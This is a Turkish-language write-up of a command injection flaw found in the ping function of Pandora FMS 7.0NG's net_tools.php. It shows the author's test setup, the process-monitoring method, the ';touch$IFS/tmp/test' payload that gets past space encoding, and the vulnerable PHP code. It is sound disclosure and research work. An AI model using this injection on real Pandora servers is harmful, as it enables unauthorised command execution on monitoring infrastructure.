Pandora 7.0NG RCE Exploit
Pandora FMS bilgisayar ağlarını izlemek için kullanılan bir yazılımdır. Pandora FMS, farklı işletim sistemleri, sunucular, uygulamalar ve güvenlik duvarları, proxy’ler, veritabanları, web sunucuları veya yönlendiriciler gibi donanım sistemlerinin durumunu ve performansını görsel olarak izlemeye olanak tanır. Perl ve PHP programlama dili ile geliştirilmiştir.
Pandora FMS 7.0NG sürümünde fark etmiş olduğum zafiyeti nasıl bulduğumu ve Metasploit için yazdığım exploiti inceleyeceğiz.
Yazılımın websitesinden Vmware için olan imajını indirdim.
Websitesinden aldığım root:pandora
kullanıcı adı ve parolasını kullanarak SSH ile sunucuya bağlandım. İlk olarak netstat -tulpn
ile açık olan portları inceledim. 80 portunda çalışan bir web sunucu olduğunu gördüm.
[root@pandorafms ~]# netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1449/sshd
tcp 0 0 0.0.0.0:8022 0.0.0.0:* LISTEN 1241/anytermd
tcp 0 0 0.0.0.0:8023 0.0.0.0:* LISTEN 1215/anytermd
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 2046/master
tcp 0 0 0.0.0.0:41121 0.0.0.0:* LISTEN 2065/perl
tcp6 0 0 :::3306 :::* LISTEN 2050/mysqld
tcp6 0 0 :::80 :::* LISTEN 845/httpd
tcp6 0 0 :::22 :::* LISTEN 1449/sshd
tcp6 0 0 ::1:25 :::* LISTEN 2046/master
udp 0 0 0.0.0.0:36165 0.0.0.0:* 650/dhclient
udp 0 0 0.0.0.0:68 0.0.0.0:* 650/dhclient
udp6 0 0 :::20626 :::* 650/dhclient
/var/www/html
dizini altındaki dosyaları tar -zcvf /tmp/pandora.tar.gz pandora_console/
komutu ile sıkıştırıp scp [email protected]:/tmp/pandora.tar.gz pandora.tar.gz
ile kendi bilgisayarıma indirdim.
Sunucuda while true; do ps aux | grep "AAAtest" | grep -v "grep" ; done
komutunu çalıştırarak ve gönderdiğim inputları AAAtest ile değiştirerek çalıştırılan processlere etkilerini görmeye çalıştım.
Manage Agents menüsünde Network Tools içinde bulunan ping gönderme özelliğini kullanırken Burp Suite isimli proxy aracı ile araya girip ip kısmını AAAtest şeklinde değiştirip gönderdim.
[root@pandorafms ~]# while true; do ps aux | grep "AAAtest" | grep -v "grep" ; done
apache 3941 0.0 0.0 28516 1412 ? S 02:12 0:00 /usr/bin/ping -c 5 AAAtest
apache 3941 0.0 0.0 28516 1412 ? S 02:12 0:00 /usr/bin/ping -c 5 AAAtest
apache 3941 0.0 0.0 28516 1412 ? S 02:12 0:00 /usr/bin/ping -c 5 AAAtest
apache 3941 0.0 0.0 28516 1412 ? S 02:12 0:00 /usr/bin/ping -c 5 AAAtest
apache 3941 0.0 0.0 28516 1412 ? S 02:12 0:00 /usr/bin/ping -c 5 AAAtest
Linux’da ;
işareti kullanılarak tek satırda iki veya daha fazla komut sırayla çalıştırılabilir. Bu özelliği kullanarak ping komutundan sonra touch /tmp/test
şeklinde bir komut çalıştırmaya çalıştım. Sunucu tarafında bu komutun nasıl çalıştığını görmek için grep’teki AAAtest kısmını ping ile değiştirdim.
[root@pandorafms ~]# while true; do ps aux | grep "ping" | grep -v "grep" ; done
apache 4239 0.0 0.0 11628 1356 ? S 02:17 0:00 sh -c /usr/bin/ping -c 5 ;touch /tmp/test
apache 4243 0.0 0.0 11628 196 ? R 02:17 0:00 sh -c /usr/bin/ping -c 5 ;touch /tmp/test
apache 4247 0.0 0.0 11628 196 ? R 02:17 0:00 sh -c /usr/bin/ping -c 5 ;touch /tmp/test
Yukarıda da gözüktüğü gibi boşluk karakteri yerine  
şeklinde HTML encoding uygulanıyordu. Bu durumdan kurtulmak için Linux’da bulunan $IFS özelliğini kullandım. Payload’u ;touch$IFS/tmp/test
şeklinde gönderdiğimde komut çalıştı ve /tmp dizininde test adındaki dosya oluştu.
Sunucudan indirdiğim dosyaları incelediğimde sorunun net_tools.php dosyasındaki 179. satırındaki system
fonksiyonuna gelen ip değişkeninin yetersiz kontrolünden kaynaklanmaktadır.
...
case 2:
$ping = whereis_the_command ('ping');
if (empty($ping)) {
ui_print_error_message(__('Ping executable does not exist.'));
}
else {
echo "<h3>" . __("Ping to %s", $ip) . "</h3>";
echo "<pre>";
echo system ("$ping -c 5 $ip");
echo "</pre>";
}
break;
...
Yazmış olduğum exploit’in tamamını linkten inceleyebilirsiniz.